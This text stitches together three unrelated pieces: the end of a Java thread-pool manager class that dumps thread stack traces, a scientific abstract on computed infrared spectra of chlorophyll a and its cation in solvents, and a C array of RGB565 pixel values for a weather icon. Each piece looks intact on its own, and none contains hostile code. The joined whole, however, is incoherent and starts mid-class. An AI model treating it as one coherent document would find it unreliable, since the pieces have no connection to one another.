_effectsScheduledThreadPool.purge();
_generalScheduledThreadPool.purge();
_aiScheduledThreadPool.purge();
_ioPacketsThreadPool.purge();
_generalPacketsThreadPool.purge();
_generalThreadPool.purge();
}
public String getPacketStats()
{
final StringBuilder sb = new StringBuilder(1000);
ThreadFactory tf = _generalPacketsThreadPool.getThreadFactory();
if (tf instanceof PriorityThreadFactory)
{
PriorityThreadFactory ptf = (PriorityThreadFactory) tf;
int count = ptf.getGroup().activeCount();
Thread[] threads = new Thread[count + 2];
ptf.getGroup().enumerate(threads);
StringUtil.append(sb, "General Packet Thread Pool:\r\n" + "Tasks in the queue: ", String.valueOf(_generalPacketsThreadPool.getQueue().size()), "\r\n"
+ "Showing threads stack trace:\r\n" + "There should be ", String.valueOf(count), " Threads\r\n");
for (Thread t : threads)
{
if (t == null)
continue;
StringUtil.append(sb, t.getName(), "\r\n");
for (StackTraceElement ste : t.getStackTrace())
{
StringUtil.append(sb, ste.toString(), "\r\n");
}
}
}
sb.append("Packet Tp stack traces printed.\r\n");
return sb.toString();
}
public String getIOPacketStats()
{
final StringBuilder sb = new StringBuilder(1000);
ThreadFactory tf = _ioPacketsThreadPool.getThreadFactory();
if (tf instanceof PriorityThreadFactory)
{
PriorityThreadFactory ptf = (PriorityThreadFactory) tf;
int count = ptf.getGroup().activeCount();
Thread[] threads = new Thread[count + 2];
ptf.getGroup().enumerate(threads);
StringUtil.append(sb, "I/O Packet Thread Pool:\r\n" + "Tasks in the queue: ", String.valueOf(_ioPacketsThreadPool.getQueue().size()), "\r\n"
+ "Showing threads stack trace:\r\n" + "There should be ", String.valueOf(count), " Threads\r\n");
for (Thread t : threads)
{
if (t == null)
continue;
StringUtil.append(sb, t.getName(), "\r\n");
for (StackTraceElement ste : t.getStackTrace())
{
StringUtil.append(sb, ste.toString(), "\r\n");
}
}
}
sb.append("Packet Tp stack traces printed.\r\n");
return sb.toString();
}
public String getGeneralStats()
{
final StringBuilder sb = new StringBuilder(1000);
ThreadFactory tf = _generalThreadPool.getThreadFactory();
if (tf instanceof PriorityThreadFactory)
{
PriorityThreadFactory ptf = (PriorityThreadFactory) tf;
int count = ptf.getGroup().activeCount();
Thread[] threads = new Thread[count + 2];
ptf.getGroup().enumerate(threads);
StringUtil.append(sb, "General Thread Pool:\r\n" + "Tasks in the queue: ", String.valueOf(_generalThreadPool.getQueue().size()), "\r\n"
+ "Showing threads stack trace:\r\n" + "There should be ", String.valueOf(count), " Threads\r\n");
for (Thread t : threads)
{
if (t == null)
continue;
StringUtil.append(sb, t.getName(), "\r\n");
for (StackTraceElement ste : t.getStackTrace())
{
StringUtil.append(sb, ste.toString(), "\r\n");
}
}
}
sb.append("Packet Tp stack traces printed.\r\n");
return sb.toString();
}
@SuppressWarnings("synthetic-access")
private static class SingletonHolder
{
protected static final ThreadPoolManager _instance = new ThreadPoolManager();
}
} |
Calculation of the vibrational properties of chlorophyll a in solution. Chlorophyll a (Chl-a) is at the heart of solar energy capture and conversion in plants. Because of this, Chl-a has been the subject of innumerable studies. Recently, we have been able to use quantum mechanical methods to calculate the vibrational properties of neutral and oxidized Chl-a in the gas phase . The calculated vibrational properties do not agree with experiment, however. One factor ignored in our calculations was how solvents could impact the vibrational properties. Here we calculate the vibrational properties of Chl-a and Chl-a+ in several solvents that span a wide range of dielectric constant. The calculated and experimental (Chl-a+-Chl-a) infrared difference spectra now show a remarkable similarity. However, the composition of the calculated vibrational modes are very different from that suggested from experiment. We therefore use our calculated data to make new suggestions as to the origin of the bands in experimental (Chl-a+-Chl-a) FTIR difference spectra. We indicate why bands in experimental spectra may have been misassigned. We also point to other experimental data that support our new band assignments. Assignment of bands in (Chl-a+-Chl-a) FTIR difference spectra were first made nearly 20 years ago. These assignments have formed the basis for evaluating all "cation minus neutral" FTIR difference spectra obtained for all photosynthetic systems since then. All of these experimental FTIR difference spectra should be re-examined in light of our new assignments. |
// Icon by <NAME> free for commercial use
// from iconfinder.com/iconsets/weather-color-2
const unsigned short i03n[] PROGMEM = {
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x20c2, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x20c2, 0x20c2, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x20c2, 0x49e5, 0x62c7, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2,
0x5a87, 0xef31, 0x5a86, 0x20a2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x4a05,
0xef31, 0xf772, 0x41e5, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20a2, 0x28e3, 0xde90,
0xf772, 0xf772, 0x41c4, 0x20a2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x8c0a, 0xf772,
0xf772, 0xf772, 0x5246, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0xe6d0, 0xf772,
0xf772, 0xf772, 0x7368, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x5a66, 0xf772, 0xf772,
0xf772, 0xf772, 0xa4cc, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x8c2a, 0xf772, 0xf772,
0xf772, 0xf772, 0xe6d0, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0xad0c, 0xf772, 0xf772,
0xf772, 0xf772, 0xf772, 0x62e7, 0x20c2, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0xb54d, 0xf772, 0xf772,
0xf772, 0xf772, 0xf772, 0xd64f, 0x20c2, 0x20c2, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x41e7, 0x0000, 0x0000, 0x734a, 0xc5ce,
0xf772, 0xf772, 0xf772, 0xf772, 0x83ea, 0x20c2, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x2903, 0x1040, 0xb575, 0xffff, 0xffff, 0xce37, 0x62e8,
0xde90, 0xf772, 0xf772, 0xf772, 0xf751, 0x20c2, 0x20c2, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x6b0c, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0x9c8f,
0x3984, 0xe6d0, 0xf772, 0xf772, 0xf772, 0xe6d0, 0x28e3, 0x20c2,
0x20a2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x3124,
0x0000, 0x0000, 0x2903, 0x5a8a, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xbdd5, 0x20c2, 0xf772, 0xf772, 0xf772, 0xef11, 0xef11, 0x83e9,
0x20c2, 0x20c2, 0x0000, 0x0000, 0x20c2, 0x2903, 0x0000, 0x20c2,
0x6b2c, 0x734d, 0x0000, 0x0000, 0x20c3, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x1020,
0xef7d, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xef5c, 0x5a86, 0xf772, 0xf772, 0xf772, 0xf751, 0xf751, 0xe6f0,
0xbd8d, 0x6b08, 0x3165, 0x3144, 0x20e2, 0x28e3, 0xad34, 0xffdf,
0xffff, 0xffff, 0xffdf, 0xbdf7, 0x0000, 0x20a2, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x3985, 0xce59, 0xe71c, 0xe71c, 0xe71c, 0xd69a, 0xce79, 0xded9,
0x5248, 0xbdae, 0xf772, 0xf772, 0xf772, 0xf772, 0xdeb0, 0xe6d1,
0x9c8b, 0x5a86, 0x0000, 0x0000, 0x3144, 0xbdb6, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xe71c, 0x28e3, 0x3124, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x1881, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x2903,
0xc5ce, 0xf772, 0xf772, 0xf772, 0xef11, 0xef31, 0xa50c, 0x83a9,
0x7b8b, 0xef3c, 0xffdf, 0xffdf, 0xffdf, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0x83ae, 0x20a2, 0x3144,
0x2903, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2,
0x62e7, 0xf731, 0xf772, 0xf772, 0xef11, 0xf752, 0x5225, 0x6b09,
0xffdf, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xf79e, 0x736d, 0x28e3,
0x20a2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x20c2, 0x5246, 0xdeb0, 0xf772, 0xef11, 0xef31, 0x0000, 0xce78,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xe6fb,
0x2903, 0x20a2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x20c2, 0x2903, 0x8c2a, 0xe6f1, 0x83cc, 0x0000, 0xf7be,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0x9cb2, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x20c2, 0x20c2, 0x20c2, 0x2903, 0x3964, 0xe71b,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xce59, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x18a2, 0x6b4c,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0x9492, 0x20c2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2, 0x20a2,
0xbdd7, 0xffdf, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff,
0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xe73c,
0x28e3, 0x20a2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x20c2,
0x20a2, 0x5269, 0x9cb2, 0xa514, 0xa514, 0xa514, 0xa514, 0xa514,
0xa514, 0xa514, 0xa514, 0xa514, 0xa514, 0xa513, 0x7bae, 0x28e3,
0x20a2, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x20a2, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x0000,
0x20c2, 0x0000, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x20c2, 0x20c2,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
